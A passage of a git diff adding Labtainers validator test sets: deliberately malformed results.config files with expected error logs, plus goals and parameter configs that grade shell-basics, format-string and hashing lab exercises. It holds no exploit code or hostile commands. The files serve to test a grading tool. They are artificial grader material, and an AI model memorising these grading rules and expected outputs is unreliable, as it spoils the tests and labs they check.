STARTSWITH : PROGRAM_ARGUMENTS +student_watermark = RunMe.py.stdout : 5 : STARTSWITH : Your secret value is diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00005/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00005/about.txt new file mode 100644 index 000000000..9626b1c07 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00005/about.txt @@ -0,0 +1 @@ +Check results.config - invalid line type diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00005/expected.log b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00005/expected.log new file mode 100644 index 000000000..d0f28689b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00005/expected.log @@ -0,0 +1 @@ +[2017-10-24 17:11:50,787 - ERROR : ResultParser.py:116 - ValidateConfigf() ] No line_type in mkdir.stdin : PARENS : 1 : XXXXXXXXXX : PROGRAM_ARGUMENTS diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00005/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00005/goals.config new file mode 100644 index 000000000..f68dbd1e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00005/goals.config @@ -0,0 +1,25 @@ +# goals.config +# +# created by interns, not a good example reference +_did_mkdir_one = matchany : string_equal : mkdir_check : answer=MyFolder +_did_touch_one = matchany : string_equal : touch_check : answer=tester.txt +_did_pwd_one = matchany : string_equal : pwd_check : answer=/home/ubuntu/MyFolder +did_task_a = count_greater : 2 : (_did_mkdir_one, _did_touch_one, _did_pwd_one) +_did_date_one = is_true : did_date +_did_date_ap = matchacross : string_equal : date_out : result.cat_txt_date +did_task_b = count_greater : 1 : (_did_date_one, _did_date_ap) +_did_ls_one = matchany : string_equal : list_check : answer=MyFolder +_did_mv_one = matchany : string_start : mv_check : answer=tester.txt +did_task_c = count_greater : 1 : (_did_mv_one, _did_ls_one) +_did_cp_one = matchany : string_equal : cp_check : answer=tester.txt ../MyFolder/ +_did_cp_two = matchany : string_equal : cp_ls_check : answer=tester.txt +did_task_d = count_greater : 1 : (_did_cp_one, _did_cp_two) +_did_cal = matchany : integer_greater : cal_check : answer=5 +_did_append = matchacross : string_equal : cal_cont_check : result.cat_cal_check +did_task_e = count_greater : 1 : (_did_cal, _did_append) +_did_more = matchany : string_equal : more_check : answer=readthis.txt +_did_less = matchany : string_equal : less_check : answer=readthis.txt +_did_rm = matchany : string_equal : rm_check : answer=readthis.txt +did_task_f = count_greater : 2 : (_did_more, _did_less, _did_rm) +own_work = matchany : string_equal : student_watermark : parameter.secret_value + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00005/labname b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00005/labname new file mode 100644 index 000000000..6a63dab2a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00005/labname @@ -0,0 +1 @@ +shellbasics diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00005/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00005/parameter.config new file mode 100644 index 000000000..16f548299 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00005/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see ..../docs/parameter.config.format +# +secret_value : RAND_REPLACE : RunMe.py : SECRET_VALUE : 0x41 : 0x5a diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00005/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00005/results.config new file mode 100644 index 000000000..3b02c71e7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00005/results.config @@ -0,0 +1,20 @@ +# results.config +# +# created by interns, not a good example reference +mkdir_check = mkdir.stdin : PARENS : 1 : XXXXXXXXXX : PROGRAM_ARGUMENTS +touch_check = touch.stdin : PARENS : 1 : STARTSWITH : PROGRAM_ARGUMENTS +pwd_check = pwd.stdout : SLASH : ALL : HAVESTRING : home +did_date = date.stdout : CONTAINS : UTC +date_out = date.stdout : TOKEN : ALL : HAVESTRING : UTC +cat_txt_date = cat.stdout : TOKEN : ALL : HAVESTRING : UTC +list_check = ls.stdout : TOKEN : 1 : HAVESTRING : NewFolder +mv_check = mv.stdin : PARENS : 1 : STARTSWITH : PROGRAM_ARGUMENTS +cp_check = cp.stdin : PARENS : 1 : STARTSWITH : PROGRAM_ARGUMENTS +cp_ls_check = ls.stdout : TOKEN : 1 : HAVESTRING : tester.txt +cal_check = cal.stdout : LINE_COUNT +cal_cont_check = cal.stdout : ALL : HAVESTRING : su +cat_cal_check = cat.stdout : TOKEN : ALL : HAVESTRING : su +more_check = more.stdin : PARENS : 1 : STARTSWITH : PROGRAM_ARGUMENTS +less_check = less.stdin : PARENS : 1 : STARTSWITH : PROGRAM_ARGUMENTS +rm_check = rm.stdin : PARENS : 1 : STARTSWITH : PROGRAM_ARGUMENTS +student_watermark = RunMe.py.stdout : 5 : STARTSWITH : Your secret value is diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00006/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00006/about.txt new file mode 100644 index 000000000..37fc9bdea --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00006/about.txt @@ -0,0 +1 @@ +Check results.config - result with 3 tokens must be of LINE_COUNT type diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00006/expected.log b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00006/expected.log new file mode 100644 index 000000000..87653098b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00006/expected.log @@ -0,0 +1 @@ +[2017-11-16 10:57:00,624 - ERROR : ResultParser.py:116 - ValidateConfigf() ] results.config expected XXXX_COUNT to be one of these: ['CHECKSUM', 'LINE_COUNT']. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00006/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00006/goals.config new file mode 100644 index 000000000..e567d7dcb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00006/goals.config @@ -0,0 +1,25 @@ +# goals.config +# +# Please see ..../docs/goals.config.format + +# The following are meant for format string vulnerability lab + +# whether the student crashed the program +_crash_smash = matchany : string_equal : crashStringCanary : answer=smashing +_crash_sig = matchany : string_equal : crashStringSignal : answer=segmentation +crash = boolean : ( _crash_smash or _crash_sig ) + +# was the secret2 value leaked? +_leaked_secret = matchany : string_end : leaked_secret1 : parameter_ascii.SECRET2 +# was the secret2 value modified? +modify_value = matchany : string_diff : newsecret1value : result.origsecret1value +# was the secret2 value modified to a specific value? +modify_specific = matchany : string_equal : newsecret1value : answer=0xa +# count stdin to determine if first scanf was disabled +_in_lines_2 = matchany : string_equal : input_lines : answer=2 +# was ASLR enabled? +_aslr_on = matchany : string_equal : aslr : answer=2 +# secret leaked with ASLR enabled? +leaked_secret = boolean : ( _aslr_on and _leaked_secret ) +# secret leaked with ASLR no scanf, and ASLR disabled? +leaked_no_scanf = boolean : ( (_in_lines_2 and _leaked_secret) and_not _aslr_on ) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00006/labname b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00006/labname new file mode 100644 index 000000000..d13324c1d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00006/labname @@ -0,0 +1 @@ +formatstring diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00006/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00006/parameter.config new file mode 100644 index 000000000..51938da9d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00006/parameter.config @@ -0,0 +1,7 @@ +# parameter.config +# +# Please see ..../docs/parameter.config.format + +# The following are meant for format string vulnerability lab +SECRET2 : RAND_REPLACE: /home/ubuntu/vul_prog.c : SECRET2_VALUE : 0x41 : 0x5a + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00006/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00006/results.config new file mode 100644 index 000000000..fc600362c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00006/results.config @@ -0,0 +1,12 @@ +# results.config +# +# Please see ..../docs/results.config.format + +crashStringCanary = vul_prog.stdout : 3 : STARTSWITH : *** stack smashing detected +crashStringSignal = vul_prog.stdout : 3 : STARTSWITH : program exit, +origsecret1value = vul_prog.stdout : 6 : STARTSWITH : The original secrets: +newsecret1value = vul_prog.stdout : 6 : STARTSWITH : The new secrets: +leaked_secret1 = vul_prog.stdout : LAST : NEXT_STARTSWITH : The original secrets: +#input_lines = vul_prog.stdin : LINE_COUNT +input_lines = vul_prog.stdin : XXXX_COUNT +aslr = checklocal.stdout : 3 : STARTSWITH : kernel.randomize_va_space diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00007/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00007/about.txt new file mode 100644 index 000000000..563222b0d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00007/about.txt @@ -0,0 +1 @@ +Check results.config - invalid field_type - see valid_field_types. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00007/expected.log b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00007/expected.log new file mode 100644 index 000000000..0744f2253 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00007/expected.log @@ -0,0 +1 @@ +[2017-10-26 10:21:03,982 - ERROR : ResultParser.py:193 - ValidateConfigf() ] results.config invalid field_type diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00007/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00007/goals.config new file mode 100644 index 000000000..1491f8652 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00007/goals.config @@ -0,0 +1,29 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide + +# Goals for the onewayhash lab. + +# which hash algorithms did the student try? +_md5done = matchany : string_equal : md5filedigest : answer=filetodigest.txt +_sha1done = matchany : string_equal : sha1filedigest : answer=filetodigest.txt +_shadone = matchany : string_equal : shafiledigest : answer=filetodigest.txt +_sha256done = matchany : string_equal : sha256filedigest : answer=filetodigest.txt +_sha224done = matchany : string_equal : sha224filedigest : answer=filetodigest.txt +_sha384done = matchany : string_equal : sha384filedigest : answer=filetodigest.txt +_sha512done = matchany : string_equal : sha512filedigest : answer=filetodigest.txt +_md4done = matchany : string_equal : md4filedigest : answer=filetodigest.txt +_whirlpooldone = matchany : string_equal : whirlpoolfiledigest : answer=filetodigest.txt +_rmd160done = matchany : string_equal : rmd160filedigest : answer=filetodigest.txt +# did student try at least 3? +did_3_hashes = count_greater : 2 : (_md5done, _sha1done, _shadone, _sha256done, _sha384done, _sha512done, _md4done, _whirlpooldone, _rmd160done) + +# keyed hash with three precribed algorithms +hmac_md5_done = matchany : string_equal : hmacmd5filedigest : answer=filetodigest.txt +hmac_sha1_done = matchany : string_equal : hmacsha1filedigest : answer=filetodigest.txt +hmac_sha256_done = matchany : string_equal : hmacsha256filedigest : answer=filetodigest.txt + +random_sha256diff = matchacross : string_diff : random_sha256digest : random_sha256digest +random_md5diff = matchacross : string_diff : random_md5digest : random_md5digest + +own_work = matchany : string_equal : student_watermark : parameter.DIGESTFILE diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00007/labname b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00007/labname new file mode 100644 index 000000000..ebf2320e1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00007/labname @@ -0,0 +1 @@ +onewayhash diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00007/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00007/parameter.config new file mode 100644 index 000000000..96db03e16 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00007/parameter.config @@ -0,0 +1,7 @@ +# parameter.config +# +# Please see labdesigner.pdf + +# The following are meant for one-way hash function lab +DIGESTFILE : HASH_REPLACE : server:/home/ubuntu/filetodigest.txt : MY_DIGEST : mydigeststring + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00007/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00007/results.config new file mode 100644 index 000000000..1d9c36fed --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00007/results.config @@ -0,0 +1,27 @@ +# results.config +# +# Results for onewayhas lab +# Please see the Labtainer Lab Designer User Guide + +# record hashing with various algorthims +md5filedigest = openssl.stdout : XXXXXX : 1 : STARTSWITH : MD5 +sha1filedigest = openssl.stdout : PARENS : 1 : STARTSWITH : SHA1 +sha256filedigest = openssl.stdout : PARENS : 1 : STARTSWITH : SHA256 +sha224filedigest = openssl.stdout : PARENS : 1 : STARTSWITH : SHA224 +sha384filedigest = openssl.stdout : PARENS : 1 : STARTSWITH : SHA384 +sha512filedigest = openssl.stdout : PARENS : 1 : STARTSWITH : SHA512 +md4filedigest = openssl.stdout : PARENS : 1 : STARTSWITH : MD4 +whirlpoolfiledigest = openssl.stdout : PARENS : 1 : STARTSWITH : WHIRLPOOL +rmd160filedigest = openssl.stdout : PARENS : 1 : STARTSWITH : RIMEMD160 +shafiledigest = openssl.stdout : PARENS : 1 : STARTSWITH : SHA( + +# record keyed hash with 3 prescribed algorithms +hmacmd5filedigest = openssl.stdout : PARENS : 1 : STARTSWITH : HMAC-MD5 +hmacsha1filedigest = openssl.stdout : PARENS : 1 : STARTSWITH : HMAC-SHA1 +hmacsha256filedigest = openssl.stdout : PARENS : 1 : STARTSWITH : HMAC-SHA256 + +# record digest with sha256 and md5 +random_sha256digest = openssl.stdout : 2 : STARTSWITH : SHA256(edit-this-file.txt) +random_md5digest = openssl.stdout : 2 : STARTSWITH : MD5(edit-this-file.txt) + +student_watermark = filetodigest.txt : 4 : STARTSWITH : My string is: diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00008/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00008/about.txt new file mode 100644 index 000000000..917306ffd --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00008/about.txt @@ -0,0 +1 @@ +Check results.config - following line type LINE must be an integer to identify the line number diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00008/expected.log b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00008/expected.log new file mode 100644 index 000000000..35a2ed2c3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00008/expected.log @@ -0,0 +1 @@ +[2017-10-26 10:24:18,400 - ERROR : ResultParser.py:207 - ValidateConfigf() ] Expected integer following LINE type, got XXXX in vul_prog.stdout : 6 : LINE : XXXX diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00008/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00008/goals.config new file mode 100644 index 000000000..e567d7dcb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00008/goals.config @@ -0,0 +1,25 @@ +# goals.config +# +# Please see ..../docs/goals.config.format + +# The following are meant for format string vulnerability lab + +# whether the student crashed the program +_crash_smash = matchany : string_equal : crashStringCanary : answer=smashing +_crash_sig = matchany : string_equal : crashStringSignal : answer=segmentation +crash = boolean : ( _crash_smash or _crash_sig ) + +# was the secret2 value leaked? +_leaked_secret = matchany : string_end : leaked_secret1 : parameter_ascii.SECRET2 +# was the secret2 value modified? +modify_value = matchany : string_diff : newsecret1value : result.origsecret1value +# was the secret2 value modified to a specific value? +modify_specific = matchany : string_equal : newsecret1value : answer=0xa +# count stdin to determine if first scanf was disabled +_in_lines_2 = matchany : string_equal : input_lines : answer=2 +# was ASLR enabled? +_aslr_on = matchany : string_equal : aslr : answer=2 +# secret leaked with ASLR enabled? +leaked_secret = boolean : ( _aslr_on and _leaked_secret ) +# secret leaked with ASLR no scanf, and ASLR disabled? +leaked_no_scanf = boolean : ( (_in_lines_2 and _leaked_secret) and_not _aslr_on ) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00008/labname b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00008/labname new file mode 100644 index 000000000..d13324c1d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00008/labname @@ -0,0 +1 @@ +formatstring diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00008/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00008/parameter.config new file mode 100644 index 000000000..51938da9d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00008/parameter.config @@ -0,0 +1,7 @@ +# parameter.config +# +# Please see ..../docs/parameter.config.format + +# The following are meant for format string vulnerability lab +SECRET2 : RAND_REPLACE: /home/ubuntu/vul_prog.c : SECRET2_VALUE : 0x41 : 0x5a + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00008/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00008/results.config new file mode 100644 index 000000000..54bf62a11 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00008/results.config @@ -0,0 +1,12 @@ +# results.config +# +# Please see ..../docs/results.config.format + +crashStringCanary = vul_prog.stdout : 3 : STARTSWITH : *** stack smashing detected +crashStringSignal = vul_prog.stdout : 3 : STARTSWITH : program exit, +#origsecret1value = vul_prog.stdout : 6 : STARTSWITH : The original secrets: +origsecret1value = vul_prog.stdout : 6 : LINE : XXXX +newsecret1value = vul_prog.stdout : 6 : STARTSWITH : The new secrets: +leaked_secret1 = vul_prog.stdout : LAST : NEXT_STARTSWITH : The original secrets: +input_lines = vul_prog.stdin : LINE_COUNT +aslr = checklocal.stdout : 3 : STARTSWITH : kernel.randomize_va_space diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00009/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00009/about.txt new file mode 100644 index 000000000..70b1e439c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00009/about.txt @@ -0,0 +1 @@ +Check results.config - invalid line_type or field_type diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00009/expected.log b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00009/expected.log new file mode 100644 index 000000000..e926b9612 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00009/expected.log @@ -0,0 +1 @@ +[2017-10-27 10:44:22,120 - ERROR : ResultParser.py:116 - ValidateConfigf() ] No line_type in vul_prog.stdin : XXXXX : 4 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00009/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00009/goals.config new file mode 100644 index 000000000..e567d7dcb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00009/goals.config @@ -0,0 +1,25 @@ +# goals.config +# +# Please see ..../docs/goals.config.format + +# The following are meant for format string vulnerability lab + +# whether the student crashed the program +_crash_smash = matchany : string_equal : crashStringCanary : answer=smashing +_crash_sig = matchany : string_equal : crashStringSignal : answer=segmentation +crash = boolean : ( _crash_smash or _crash_sig ) + +# was the secret2 value leaked? +_leaked_secret = matchany : string_end : leaked_secret1 : parameter_ascii.SECRET2 +# was the secret2 value modified? +modify_value = matchany : string_diff : newsecret1value : result.origsecret1value +# was the secret2 value modified to a specific value? +modify_specific = matchany : string_equal : newsecret1value : answer=0xa +# count stdin to determine if first scanf was disabled +_in_lines_2 = matchany : string_equal : input_lines : answer=2 +# was ASLR enabled? +_aslr_on = matchany : string_equal : aslr : answer=2 +# secret leaked with ASLR enabled? +leaked_secret = boolean : ( _aslr_on and _leaked_secret ) +# secret leaked with ASLR no scanf, and ASLR disabled? +leaked_no_scanf = boolean : ( (_in_lines_2 and _leaked_secret) and_not _aslr_on ) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00009/labname b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00009/labname new file mode 100644 index 000000000..d13324c1d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00009/labname @@ -0,0 +1 @@ +formatstring diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00009/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00009/parameter.config new file mode 100644 index 000000000..51938da9d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00009/parameter.config @@ -0,0 +1,7 @@ +# parameter.config +# +# Please see ..../docs/parameter.config.format + +# The following are meant for format string vulnerability lab +SECRET2 : RAND_REPLACE: /home/ubuntu/vul_prog.c : SECRET2_VALUE : 0x41 : 0x5a + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00009/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00009/results.config new file mode 100644 index 000000000..43c90fbae --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00009/results.config @@ -0,0 +1,12 @@ +# results.config +# +# Please see ..../docs/results.config.format + +crashStringCanary = vul_prog.stdout : 3 : STARTSWITH : *** stack smashing detected +crashStringSignal = vul_prog.stdout : 3 : STARTSWITH : program exit, +origsecret1value = vul_prog.stdout : 6 : STARTSWITH : The original secrets: +newsecret1value = vul_prog.stdout : 6 : STARTSWITH : The new secrets: +leaked_secret1 = vul_prog.stdout : LAST : NEXT_STARTSWITH : The original secrets: +input_lines = vul_prog.stdin : LINE_COUNT +aslr = checklocal.stdout : 3 : STARTSWITH : kernel.randomize_va_space +vulprog_arg = vul_prog.stdin : XXXXX : 4 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00010/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00010/about.txt new file mode 100644 index 000000000..902de6fb2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00010/about.txt @@ -0,0 +1 @@ +Check results.config - PARAM field_type on a non-stdin file not allowed diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00010/expected.log b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00010/expected.log new file mode 100644 index 000000000..d15878546 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00010/expected.log @@ -0,0 +1 @@ +[2017-10-27 10:47:06,125 - ERROR : ResultParser.py:201 - ValidateConfigf() ] PARAM field_type on non stdin file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00010/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00010/goals.config new file mode 100644 index 000000000..e567d7dcb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00010/goals.config @@ -0,0 +1,25 @@ +# goals.config +# +# Please see ..../docs/goals.config.format + +# The following are meant for format string vulnerability lab + +# whether the student crashed the program +_crash_smash = matchany : string_equal : crashStringCanary : answer=smashing +_crash_sig = matchany : string_equal : crashStringSignal : answer=segmentation +crash = boolean : ( _crash_smash or _crash_sig ) + +# was the secret2 value leaked? +_leaked_secret = matchany : string_end : leaked_secret1 : parameter_ascii.SECRET2 +# was the secret2 value modified? +modify_value = matchany : string_diff : newsecret1value : result.origsecret1value +# was the secret2 value modified to a specific value? +modify_specific = matchany : string_equal : newsecret1value : answer=0xa +# count stdin to determine if first scanf was disabled +_in_lines_2 = matchany : string_equal : input_lines : answer=2 +# was ASLR enabled? +_aslr_on = matchany : string_equal : aslr : answer=2 +# secret leaked with ASLR enabled? +leaked_secret = boolean : ( _aslr_on and _leaked_secret ) +# secret leaked with ASLR no scanf, and ASLR disabled? +leaked_no_scanf = boolean : ( (_in_lines_2 and _leaked_secret) and_not _aslr_on ) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00010/labname b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00010/labname new file mode 100644 index 000000000..d13324c1d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00010/labname @@ -0,0 +1 @@ +formatstring diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00010/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00010/parameter.config new file mode 100644 index 000000000..51938da9d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00010/parameter.config @@ -0,0 +1,7 @@ +# parameter.config +# +# Please see ..../docs/parameter.config.format + +# The following are meant for format string vulnerability lab +SECRET2 : RAND_REPLACE: /home/ubuntu/vul_prog.c : SECRET2_VALUE : 0x41 : 0x5a + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00010/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00010/results.config new file mode 100644 index 000000000..3bc355f7a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00010/results.config @@ -0,0 +1,12 @@ +# results.config +# +# Please see ..../docs/results.config.format + +crashStringCanary = vul_prog.stdout : 3 : STARTSWITH : *** stack smashing detected +crashStringSignal = vul_prog.stdout : 3 : STARTSWITH : program exit, +origsecret1value = vul_prog.stdout : 6 : STARTSWITH : The original secrets: +newsecret1value = vul_prog.stdout : 6 : STARTSWITH : The new secrets: +leaked_secret1 = vul_prog.stdout : LAST : NEXT_STARTSWITH : The original secrets: +input_lines = vul_prog.stdin : LINE_COUNT +aslr = checklocal.stdout : 3 : STARTSWITH : kernel.randomize_va_space +vulprog_arg = vul_prog.stdout : PARAM : 4 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00011/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00011/about.txt new file mode 100644 index 000000000..d82309bb3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00011/about.txt @@ -0,0 +1 @@ +Check results.config - PARAM field type has invalid field_id (must be an integer) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00011/expected.log b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00011/expected.log new file mode 100644 index 000000000..3eb91ad13 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00011/expected.log @@ -0,0 +1 @@ +[2017-10-27 10:49:11,833 - ERROR : ResultParser.py:208 - ValidateConfigf() ] PARAM field_type could not parse int from what diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00011/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00011/goals.config new file mode 100644 index 000000000..e567d7dcb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00011/goals.config @@ -0,0 +1,25 @@ +# goals.config +# +# Please see ..../docs/goals.config.format + +# The following are meant for format string vulnerability lab + +# whether the student crashed the program +_crash_smash = matchany : string_equal : crashStringCanary : answer=smashing +_crash_sig = matchany : string_equal : crashStringSignal : answer=segmentation +crash = boolean : ( _crash_smash or _crash_sig ) + +# was the secret2 value leaked? +_leaked_secret = matchany : string_end : leaked_secret1 : parameter_ascii.SECRET2 +# was the secret2 value modified? +modify_value = matchany : string_diff : newsecret1value : result.origsecret1value +# was the secret2 value modified to a specific value? +modify_specific = matchany : string_equal : newsecret1value : answer=0xa +# count stdin to determine if first scanf was disabled +_in_lines_2 = matchany : string_equal : input_lines : answer=2 +# was ASLR enabled? +_aslr_on = matchany : string_equal : aslr : answer=2 +# secret leaked with ASLR enabled? +leaked_secret = boolean : ( _aslr_on and _leaked_secret ) +# secret leaked with ASLR no scanf, and ASLR disabled? +leaked_no_scanf = boolean : ( (_in_lines_2 and _leaked_secret) and_not _aslr_on ) diff --git 